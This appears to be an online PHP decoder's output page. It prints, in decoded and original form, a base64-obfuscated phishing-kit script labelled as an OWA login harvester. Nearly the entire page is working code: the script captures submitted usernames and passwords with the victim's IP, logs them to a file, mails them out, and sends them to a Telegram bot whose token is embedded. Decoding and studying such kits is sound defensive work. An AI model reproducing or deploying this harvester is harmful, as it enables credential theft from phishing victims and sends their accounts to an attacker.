Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $n957b527bcfba = getenv(base64_decode('UkVNT1RFX0FERFI=')); $m78e731027d8f .= bas..
Decoded Output download
<?php
$n957b527bcfba = getenv(base64_decode('UkVNT1RFX0FERFI='));
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tKyBPV0EtTmV0IDIwMjMgKy0tLS0tLS0tLS0tLS0K');
$m78e731027d8f .= base64_decode('VVNFUiA6IA==').$_POST[base64_decode('YWk=')].base64_decode('Cg==');
$m78e731027d8f .= base64_decode('UEFTUyA6IA==').$_POST[base64_decode('cHI=')].base64_decode('Cg==');
$m78e731027d8f .= base64_decode('PT09PT09PT09PT09PSBbIElwICYgSG9zdG5hbWUgSW5mbyBdID09PT09PT09PT09PT0K');
$m78e731027d8f .= base64_decode('Q2xpZW50IElQIDog').$n957b527bcfba.base64_decode('Cg==');
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tLS0rIFBvd2VyZWQgQnkgT1dBICstLS0tLS0tLS0tLS0tLQo=');
$e01b6e20344b6 = base64_decode('ampiaGMyM0BtYWlsc2FjLmNvbQ==');
$qb5e3374e43f6 = base64_decode('T1dBLURhdGE=');
$t4340fd73e75d .= base64_decode('TUlNRS1WZXJzaW9uOiAxLjAK');
$t4340fd73e75d .= base64_decode('RnJvbTogQnktQWJpbGl0eSA8T1dBLU5ldEBvd2EubmV0Pgo=');
$m47c80780ab60=array($u2541d938b0a5, $ta12a3079e14c);
mail($u2541d938b0a5,$e01b6e20344b6,$qb5e3374e43f6,$m78e731027d8f,$t4340fd73e75d);
$c0666f0acdeed = fopen(base64_decode('bG9naW5zLnR4dA=='),base64_decode('YQ=='));
fputs($c0666f0acdeed,$m78e731027d8f);
fclose($c0666f0acdeed);
//report to telegram
function sendMessage($l0130beb89aca, $j13a1ff2a8e21, $d94a08da1fecb) {
echo base64_decode('c2VuZGluZyBtZXNzYWdlIHRvIA==') . $l0130beb89aca . base64_decode('Cg==');
$o572d4e421e5e = base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==') . $d94a08da1fecb . base64_decode('L3NlbmRNZXNzYWdlP2NoYXRfaWQ9') . $l0130beb89aca;
$o572d4e421e5e = $o572d4e421e5e . base64_decode('JnRleHQ9') . urlencode($j13a1ff2a8e21);
$fd88fc6edf21e = curl_init();
$i5c64bd87cc6d = array(
CURLOPT_URL => $o572d4e421e5e,
CURLOPT_RETURNTRANSFER => true
);
curl_setopt_array($fd88fc6edf21e, $i5c64bd87cc6d);
$ab4a88417b3d0 = curl_exec($fd88fc6edf21e);
curl_close($fd88fc6edf21e);
return $ab4a88417b3d0;
}
$d94a08da1fecb = base64_decode('NTgyODQ0MzExOTpBQUZlZTRqVDZHU3BIbjk5QkI4aTBQdTJBcGx6MG9lMFVyQQ==');
$n1c8253d1238a = base64_decode('NTgzNDkyMTc1NA==');
sendMessage($n1c8253d1238a, $m78e731027d8f, $d94a08da1fecb);
?>
Did this file decode correctly?
Original Code
<?php
$n957b527bcfba = getenv(base64_decode('UkVNT1RFX0FERFI='));
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tKyBPV0EtTmV0IDIwMjMgKy0tLS0tLS0tLS0tLS0K');
$m78e731027d8f .= base64_decode('VVNFUiA6IA==').$_POST[base64_decode('YWk=')].base64_decode('Cg==');
$m78e731027d8f .= base64_decode('UEFTUyA6IA==').$_POST[base64_decode('cHI=')].base64_decode('Cg==');
$m78e731027d8f .= base64_decode('PT09PT09PT09PT09PSBbIElwICYgSG9zdG5hbWUgSW5mbyBdID09PT09PT09PT09PT0K');
$m78e731027d8f .= base64_decode('Q2xpZW50IElQIDog').$n957b527bcfba.base64_decode('Cg==');
$m78e731027d8f .= base64_decode('LS0tLS0tLS0tLS0tLS0rIFBvd2VyZWQgQnkgT1dBICstLS0tLS0tLS0tLS0tLQo=');
$e01b6e20344b6 = base64_decode('ampiaGMyM0BtYWlsc2FjLmNvbQ==');
$qb5e3374e43f6 = base64_decode('T1dBLURhdGE=');
$t4340fd73e75d .= base64_decode('TUlNRS1WZXJzaW9uOiAxLjAK');
$t4340fd73e75d .= base64_decode('RnJvbTogQnktQWJpbGl0eSA8T1dBLU5ldEBvd2EubmV0Pgo=');
$m47c80780ab60=array($u2541d938b0a5, $ta12a3079e14c);
mail($u2541d938b0a5,$e01b6e20344b6,$qb5e3374e43f6,$m78e731027d8f,$t4340fd73e75d);
$c0666f0acdeed = fopen(base64_decode('bG9naW5zLnR4dA=='),base64_decode('YQ=='));
fputs($c0666f0acdeed,$m78e731027d8f);
fclose($c0666f0acdeed);
//report to telegram
function sendMessage($l0130beb89aca, $j13a1ff2a8e21, $d94a08da1fecb) {
echo base64_decode('c2VuZGluZyBtZXNzYWdlIHRvIA==') . $l0130beb89aca . base64_decode('Cg==');
$o572d4e421e5e = base64_decode('aHR0cHM6Ly9hcGkudGVsZWdyYW0ub3JnL2JvdA==') . $d94a08da1fecb . base64_decode('L3NlbmRNZXNzYWdlP2NoYXRfaWQ9') . $l0130beb89aca;
$o572d4e421e5e = $o572d4e421e5e . base64_decode('JnRleHQ9') . urlencode($j13a1ff2a8e21);
$fd88fc6edf21e = curl_init();
$i5c64bd87cc6d = array(
CURLOPT_URL => $o572d4e421e5e,
CURLOPT_RETURNTRANSFER => true
);
curl_setopt_array($fd88fc6edf21e, $i5c64bd87cc6d);
$ab4a88417b3d0 = curl_exec($fd88fc6edf21e);
curl_close($fd88fc6edf21e);
return $ab4a88417b3d0;
}
$d94a08da1fecb = base64_decode('NTgyODQ0MzExOTpBQUZlZTRqVDZHU3BIbjk5QkI4aTBQdTJBcGx6MG9lMFVyQQ==');
$n1c8253d1238a = base64_decode('NTgzNDkyMTc1NA==');
sendMessage($n1c8253d1238a, $m78e731027d8f, $d94a08da1fecb);
?>
Function Calls
getenv | 1 |
base64_decode | 1 |
Stats
MD5 | 50ec1cc3d2243a9d820d2d7b3ae3daa8 |
Eval Count | 0 |
Decode Time | 53 ms |